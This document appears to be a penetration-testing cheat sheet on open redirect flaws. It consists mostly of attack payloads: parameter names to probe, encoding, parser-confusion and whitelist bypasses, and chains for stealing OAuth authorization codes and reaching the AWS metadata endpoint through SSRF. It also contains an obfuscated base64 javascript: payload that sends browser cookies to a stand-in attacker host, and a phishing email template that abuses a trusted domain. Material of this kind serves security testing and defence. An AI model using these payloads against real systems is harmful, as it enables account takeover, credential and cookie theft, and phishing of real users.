Open Redirect¶
Redirect users to external domains via a controlled parameter. Alone it's low severity, but when chained with OAuth or SSRF, it becomes critical.
TL;DR¶
# Basic payloads
?redirect=https://evil.com
?next=//evil.com
?url=https://trusted.com@evil.com
# OAuth token theft
redirect_uri=https://trusted.com/redirect?url=https://evil.com
# SSRF chain
POST /fetch {"url": "https://trusted.com/redirect?url=http://169.254.169.254/"}
How It Works¶
Open redirects occur when an application takes user input to determine redirect destination without proper validation:
- User clicks trusted link -
https://trusted.com/redirect?url=... - Application redirects - Server sends 302/301 to user-controlled URL
- Browser follows - User ends up on attacker domain
Why it's dangerous:
- OAuth Token Theft - Redirect authorization codes to attacker
- SSRF Chaining - Internal fetchers follow redirects to internal resources
- Phishing - Legitimate domain in URL bar tricks users
- Filter Bypasses - Redirect through trusted domain to reach blocked site
Detection¶
Common Parameter Names¶
redirect, redirect_url, redirect_uri
next, next_url, nextUrl
return, return_url, returnUrl, return_to
url, uri, link, goto
continue, continueTo
target, dest, destination
redir, rurl, r, u
callback, callback_url
forward, forward_url
out, checkout_url
image_url, login_url
post_logout_redirect_uri
Signals¶
Direct Value Testing:
# Test each parameter with external URL
curl -i "https://target.com/redirect?url=https://evil.com"
# Look for 3xx response
HTTP/1.1 302 Found
Location: https://evil.com
In OAuth Flows:
# OAuth endpoints often have redirect parameters
https://target.com/oauth/authorize?redirect_uri=https://callback.com
# Test with external domain
redirect_uri=https://evil.com
In Logout Flows:
Exploitation¶
Basic Payloads¶
# Standard
?redirect=https://evil.com
# Protocol-relative
?url=//evil.com
?url=///evil.com
?url=////evil.com
# Backslash tricks (browser vs server parsing)
?url=https://trusted.com\@evil.com
?url=//trusted.com\evil.com
# Userinfo abuse
?url=https://trusted.com@evil.com
?url=https://evil.com#@trusted.com
# Path-based
/redirect/https://evil.com
Encoding Bypasses¶
# Double encoding
?url=%252f%252fevil.com
# URL encoding
?url=https%3A%2F%2Fevil.com
# Mixed case
?url=hTtPs://eViL.com
?url=HTTPS://EVIL.COM
# Null byte (legacy systems)
?url=https://trusted.com%00.evil.com
# CRLF injection
?url=https://trusted.com%0d%0aLocation:%20https://evil.com
Parser Differentials¶
# URL with @ (userinfo section)
?url=https://trusted.com:443@evil.com
?url=https://trusted.com%2540evil.com
# Fragment confusion
?url=https://evil.com#@trusted.com
?url=https://trusted.com#.evil.com
# Query confusion
?url=https://trusted.com?.evil.com
# Subdomain confusion
?url=https://trusted.com.evil.com
# Multiple slashes
?url=https:/\/\evil.com
?url=https:\/\/evil.com
IP Address Variants¶
# Decimal IP (127.0.0.1 = 2130706433)
?url=http://2130706433
# Hex IP
?url=http://0x7f000001
?url=http://0x7f.0x00.0x00.0x01
# Octal
?url=http://0177.0.0.1
# IPv6
?url=http://[::1]
?url=http://[::ffff:127.0.0.1]
?url=http://[::]
# Shortened IPv6
?url=http://[::ffff:7f00:1]
Unicode & IDNA¶
# Homoglyphs (Cyrillic 'о' vs Latin 'o')
?url=https://gооgle.com
# Punycode encoding
?url=https://xn--ggle-0nda.com
# Fullwidth characters
?url=https://evil。com
# Mixed scripts
?url=https://ɢoogle.com
Whitespace & Control Characters¶
# Tab character
?url=https://evil.com%09
# Newline
?url=https://evil.com%0a
?url=https://evil.com%0d
# Leading space
?url=%20https://evil.com
# Null byte
?url=https://evil.com%00
# Vertical tab
?url=https://evil.com%0b
Bypasses¶
Domain Validation Bypass¶
# If checking for "trusted.com" in URL:
?url=https://evil.com/trusted.com
?url=https://evil.com?trusted.com
?url=https://evil.com#trusted.com
?url=https://trusted.com@evil.com
?url=https://evil.com/redirect?url=trusted.com
Whitelist Bypass¶
# If only allowing specific domain:
# Use subdomain takeover
?url=https://vulnerable-subdomain.trusted.com
# (if you control that subdomain)
# Use open redirect on trusted domain
?url=https://trusted.com/redirect?url=https://evil.com
# Use data URI
?url=data:text/html,<script>location='https://evil.com'</script>
# Use JavaScript URI
?url=javascript:window.location='https://evil.com'
Multi-Hop Redirects¶
# First redirect validated, second not
?url=https://trusted.com/redirect?url=https://also-trusted.com/redirect?url=https://evil.com
# Chain through multiple trusted domains
?url=https://trusted1.com/r?url=https://trusted2.com/r?url=https://evil.com
Case Sensitivity¶
# Mixed case domain validation
# If checking for "trusted.com":
?url=https://TRUSTED.COM@evil.com
?url=https://Trusted.Com
Escalation¶
OAuth Token Theft¶
# Standard OAuth flow
https://oauth-provider.com/authorize?
client_id=123&
redirect_uri=https://trusted.com/callback&
response_type=code
# Trusted.com has open redirect at /redirect?url=
# Exploit:
redirect_uri=https://trusted.com/redirect?url=https://evil.com
# Flow:
# 1. User authorizes app
# 2. OAuth provider redirects to trusted.com/redirect?url=evil.com&code=AUTH_CODE
# 3. Trusted.com redirects to evil.com?code=AUTH_CODE
# 4. Attacker captures authorization code
SSRF via Open Redirect¶
# Server-side request with URL validation
POST /fetch-preview HTTP/1.1
Content-Type: application/json
{"url": "https://trusted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/"}
# Server validates allowed domain (trusted-domain.com)
# Follows redirect to AWS metadata endpoint
# Returns internal data to attacker
Cookie Theft via Subdomain Redirect¶
# If cookies are set on *.target.com
# Redirect to attacker-controlled subdomain
?url=https://attacker.target.com
# Or subdomain takeover
?url=https://dangling-cname.target.com
XSS via JavaScript URI¶
# If application doesn't filter javascript: protocol
?url=javascript:alert(document.domain)
?url=javascript:eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHBzOi8vZXZpbC5jb20/Yz0iK2RvY3VtZW50LmNvb2tpZQ=='))
# data: URI
?url=data:text/html,<script>alert(document.domain)</script>
Phishing Chain¶
<!-- Email with trusted domain visible -->
<a href="https://accounts.google.com/redirect?url=https://evil-login-page.com">
Reset your password
</a>
<!-- Victim sees google.com in URL, trusts it -->
<!-- Clicks, gets redirected to attacker's phishing page -->
Pro Tips¶
- OAuth First - Maximum impact in OAuth flows (authorization code theft)
- post_logout_redirect_uri - Often less protected than redirect_uri
- Multi-Hop Chains - First hop validated, subsequent hops not checked
- Parser Differentials - Test how server vs browser canonicalize URLs
- SSRF Testing - Internal fetchers often follow redirects blindly
- Whitelist != Blacklist - Easier to bypass domain whitelists than blacklists
- Check All Parameters - Don't stop at
redirect, test all navigation parameters - Mobile Apps - Often have open redirects in deep link handlers
- JavaScript Redirects - Check client-side redirects (
window.location) - Meta Refresh - Look for
<meta http-equiv="refresh">with user input